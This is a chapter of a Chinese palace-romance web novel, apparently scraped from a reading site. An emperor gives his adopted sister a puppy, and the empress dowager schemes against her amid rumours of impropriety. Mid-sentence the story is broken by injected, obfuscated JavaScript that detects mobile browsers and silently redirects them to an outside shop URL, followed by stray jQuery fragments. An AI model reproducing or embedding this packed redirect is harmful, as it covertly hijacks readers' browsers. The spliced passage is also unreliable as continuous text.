文趣网 > 其他小说 > 被帝王兄长觊觎之后 > 3. 小犬
    寝殿内,柳嬷嬷担忧地询问李元臻,“公主,陛下都同你说什么了?”

    李元臻将脑袋闷到柳嬷嬷怀里,又流下泪来,“他不让我回家,我们得在京城呆上一阵子的。”

    单单今日,小公主心情跌宕起伏,想到那位“骇人”的兄长,泪怎么也止不住。

    她一点也不喜欢这个阿兄,甚至可以称得上是讨厌。

    讨厌他的笑,讨厌他吓她,讨厌他不让她回家。

    京城是繁华,可她在宫中也出不去,瞧不见摸不着又有什么用。

    戚戚惨惨同柳嬷嬷和清沅说起下午场景,柳嬷嬷慌忙抓起她手问:“陛下拉公主手了?”

    李元臻哽咽着点头。

    坏了!这陛下不会对她们娇美的小公主生出歹心吧!

    柳嬷嬷此刻只觉目眩头晕。

    那人毕竟是郢朝皇帝,若真想要对公主作些禽兽事,她一个奴才又能做什么呢。

    清沅站在一旁,面上神色也相当复杂。

    她看看一脸丧气的柳嬷嬷,凑上去轻轻拍了拍啜泣的李元臻,“公主别怕,您既已同陛下说好了,明日奴婢便出宫去将驿馆的东西收拾带进来。”

    住在宫里的事已成定局,倒不如先安抚好公主,让她开心起来,以后的事以后再说吧。

    柳嬷嬷也勉强一笑道:“是啊,雪球还在驿馆呢,明日将它带进来陪公主。”

    雪球是李呈越送她的一只细犬,黄耳白身,高大威猛,李元臻去哪儿玩都要带着它。

    这回它也陪着她来京城了,因宫宴不能带,便将其暂留在驿站房内。

    她现要在宫中小住,雪球肯定也得跟来的。

    话头一转,李元臻忘性大,也不伤心了,同清沅交代好明日都要从外头带些什么进来后,又娇嗔着同二人撒娇,称自己要换衣裳。

    屋内柜中是备着新衣的,沐浴更衣后,李元臻这才舒舒服服又躺回了床榻上。

    柳嬷嬷年纪大了,因而今日清沅值夜,李元臻却不让她熄灯,拉着她手晃了晃后道:“清沅,你别离开哦。”

    知道公主换了新地方有些害怕,清沅捏起被角将她裹严实,低声安抚:“奴婢不走,公主快歇息吧。”

    今个儿一天闹了许多事,比李元臻平日吃喝玩乐还累,因而她虽下午休息过,晚上还是一沾床就睡了过去。

    第二天辰时快过,李元臻才醒,睁眼就瞧见了清沅,她果然没骗自己。

    “公主醒了,还要睡吗?让柳嬷嬷来守着您,奴婢得出宫拿东西。”清沅扶起李元臻,又喂她漱口饮温水。

    一大早,那位内侍高明海又来了,还送了好些东西与腰牌。清沅就等着公主醒后,同她说一声便出宫办事去。

    李元臻昨夜倒是睡得香,这会儿自己醒来也不困了,她声音软糯道:“不睡了不睡了,你快去吧,我想雪球了。”

    清沅点点头起身,又张口喊:“嬷嬷,公主醒了。”

    柳嬷嬷果然火急火燎地从外间赶进来,清沅则带上腰牌离开。

    李元臻被伺候着梳洗打扮好,行至食案,上面已摆好饭菜待她享用。

    食案前有一着橘黄窄袖襦裙的侍女正在等候,她瞧见柳嬷嬷身前的女子,便知这位就是长乐公主了。

    “公主万安。”侍女颂宁屈身行礼。

    李元臻步伐稍缓,道了声“免礼”后,有些好奇地打量面前之人。

    柳嬷嬷之前已见过颂宁,知晓她是被陛下派来专门服侍公主的。除她之外其实还有三人,柳嬷嬷做主让她们只在外间侍候,除了洒扫没别的事别轻易进屋里来。

    公主不喜欢贴身的人太多,不然她会觉得不自在。

    “公主,这位是颂宁,陛下派来的侍女。”

    柳嬷嬷出声介绍。

    李元臻一惊,“那清沅呢?”

    颂宁知道公主是误会了,解释道:“奴婢同清沅一起服侍您,这会她不在,奴婢为您侍膳。”

    她尽量让自己声音轻柔些,唇边也勾起笑。

    清沅还在就行,多一个侍女也没什么。

    李元臻心放进肚子里,“用膳吧。”

    正午时分,日头足,李元臻百无聊赖躺在藤椅上晒太阳。

    宫门外传来车轮声,清沅先探头进来,手里还牵着根软皮绳,绳子的另一头系在只犬儿脖颈上。

    李元臻听到声音睁眼,随即惊喜坐起。

    清沅松开绳子,雪球踏着四只雪白蹄子就扑了过来,临近时又止了力道用脑袋去蹭李元臻的腿。

    “雪球雪球,想不想阿姊呀。”李元臻给身前的狗儿梳了梳毛问道。

    颂宁本站在一旁侍候,瞧见这只大狗,整个人都被吓傻了。瞧着这公主娇娇弱弱,怎会养如此凶恶的小宠。

    一人跟着清沅走进来,行礼后便招呼着人放东西。

    此人名为李宣荣,着一身绯红窄袖袍,腰侧悬一把横刀,瞧着是个三十好几的壮年男子。

    他之前是李呈越的暗卫,后又转而护起了公主李元臻。

    按理说李宣荣是不能进后宫的,可现今这宫里就住了李元臻一人,楚从玉倒也没说什么,直接让高明海将人放进来。

    长乐公主李元臻带着侍女随从便这样住进了郢朝后宫里。

    新岁伊始,前朝后宫里里外外都有几天假日,楚从玉也不用上朝,连着好几天都找上门来陪妹妹用膳。

    这位陛下不喜宫人在一旁侍候,偌大的食案前往往只留李元臻和他二人。

    有楚从玉坐在身侧,再好的胃口都得淡上几分,一到夜间她肚子又饿得咕咕响,只能勉强用些点心填填肚子。

    李元臻无比希望这阵休沐之期快快过去,待朝堂上忙起来楚从玉便没时间来寻她了。

    正月十二日,午时刚过,外间又传来宫人通报声,趴在榻上看话本的李元臻皱起眉头小声叹口气,不情不愿起身去迎这位兄长。

    清沅忙扶着公主起身,为她整理好衣衫,打眼瞧了一圈见没什么问题这才将人放出去。

    雪球在外间忽“汪汪”叫了两声,紧接着又有另一道奶声奶气的喊叫回声。

    “元臻妹妹,瞧瞧阿兄带什么来了。”

    楚从玉心情似乎很好,语调上扬,听着倒是欢快。

    月华宫里常有他赏赐下的珍宝衣饰,李元臻只以为还是那些,神情蔫蔫的,垂头走到楚从玉面前行礼,小声道句“不知”。

    见她态度冷淡,楚从玉面上笑也淡了几分。

    可他身旁跟着的内侍高明海却是个人精,忙伸手挠了挠怀里抱着的东西,又是一道哼哼唧唧的声音传来。

    寻着声音抬头一瞥,李元臻瞧见高明海身前趴着一只通体雪白的小松犬,鼻头粉润,憨态可掬,正睁着两只晶黑的眸子四处瞧瞧看看。

    “哇!”

    李元臻惊呼一声,上前两步惊喜又好奇地凑上前细看。

    高明海忙道:“公主,这是陛下送给您的,刚足月,性格温顺的很。”

    闻言,李元臻倒有些不好意思了,她望向一旁矗立的楚从玉,指尖捏着袖边搓了又搓。

    “谢谢阿兄。”说完这句,李元臻又试探性伸手去摸那松犬耳尖,它竟也乖乖停了转动的脑袋,任她蹂躏。

    幼犬绒毛摸起来更细软,像丝缎般。

    见她这会满眼都是那只自己送的小松犬,楚从玉方才心中的不悦也去了些,直接让高明海将那物给她。

    清沅接过又递给李元臻,小公主被萦绕着奶香气的小犬扑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726268|208856||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个满怀。

    说是小犬,但满月后她抱着已有些吃力,没一会李元臻就坐进了软垫黄花梨圈椅中,松犬乖乖伏在她膝头十分乖巧,脑袋垫在前爪上,时不时摆动下尾巴。

    这份礼物可算是送到了李元臻心坎上,连带着她对楚从玉原本有些抵触的态度都改善了几分。

    兄妹二人静坐待午膳呈上,雪球这会也打外间跑了进来,应是闻到了同类气息,绕着李元臻脚下边耸鼻子边打圈转。

    李元臻被两只犬儿逗的捂嘴咯咯笑,过了会又看向楚从玉,咬着唇角腼腆问,“阿兄为何也送我一只小狗。”

    楚从玉转着手指上的玉扳指,另一手撑头靠在侧边桌上,意味深长的看了李元臻一眼后答道:“李呈越既可,阿兄也送得。”

    真奇怪。

    李元臻总觉得这位兄长是个学人精。

    奈何松犬实在可爱,她也不同他计较了。

    “给这只也取个名字罢。”楚从玉垂眸看了眼那乖乖窝在她身前的白毛团,忽起了兴致提议道。

    起名字……

    李元臻左思右想后道:“它就叫糯米啦。”

    松犬瞧着软糯糯,跟糯米饼一样,可带个“饼”字总觉怪异,倒不如直接唤前二字罢。

    楚从玉瞧她眼睛眨了半天才想出这么个名来,只以为是她深思熟虑过的,也满意点头,“就叫糯米”。

    陛下送了长乐公主一只松犬的消息不胫而走,加之他之前往月华宫送了不少好东西,各宫人私下都对其议论纷纷。

    毕竟不是亲兄妹么,当今圣上对这位公主这般好,加之其后宫空悬无人,一细想便觉得两人间有些不能为外人所道之事。

    风言风语传的快,柳嬷嬷偶然间听到一回,心中大惊,忙警告月华宫众人不许嚼舌根。

    正月十五一过,楚从玉每天要上朝、批折子,唯有偶尔闲时才能来寻李元臻。

    这下倒顺了她意,没了兄长日日叨扰,李元臻玩心大起,也不只在月华宫拘着了,满后宫乱跑,只差没蹿到前朝去。

    但后宫内虽无妃嫔,却也是住着太后的。

    孝明太后宋娩,年四十二,先帝的正室皇后,楚从玉虽并非其亲生,但也挂在她名下。

    积庆殿内,大门紧闭。

    “母后,现在宫里都传遍了,说这位沧州来的公主李元臻蓄意勾引当朝天子。”

    “再怎么说他们现在也算是兄妹,怎能如此不顾礼义廉耻,若是传到民间去,百姓知晓这兄妹乱/伦,岂不是丢了天家颜面……”

    楚溪安尖着嗓子添油加醋,她虽也算生得貌美,但此刻面上却带了几分刻薄相,硬生生将那好颜色压下三四分。

    孝明太后神色愈发凝重,没等楚溪安说完最后一句话,她怒气丛生,一拍手边小紫檀木桌喊道:“他敢!”

    这一喊失了其平日里的端庄沉稳,所幸她身边只有自个的小女儿和贴身宫人。

    只见孝明太后粗喘两口气大骂:“小杂种偷了皇位还要败坏王室颜面,哀家岂能放任他二人苟合!”

    “还有那李元臻,哪个犄角旮旯里冒出来的公主,竟妄想同我郢朝嫡尊公主平起平坐,真是好大的脸。”

    “什么平起平坐,那日朝贺宴上她可是直接坐到了我与阿姊上头去,人家可风光着呢。”楚溪安满脸不屑地冷哼一声。

    孝明太后这下总算想了起来,那日大庭广众之下李元臻虽看着呆傻,却是实打实坐在了自家女儿前面。

    “那李元臻进宫许久,也没说来哀家这请安,真是目无尊卑,礼数尽失!”

    她敛眸深呼一口气,涂着朱红丹蔻的手抚过略带皱纹的眉眼,语调讥讽,“容乐,把那长乐公主喊来,哀家得好好教导她何谓郢朝礼法。”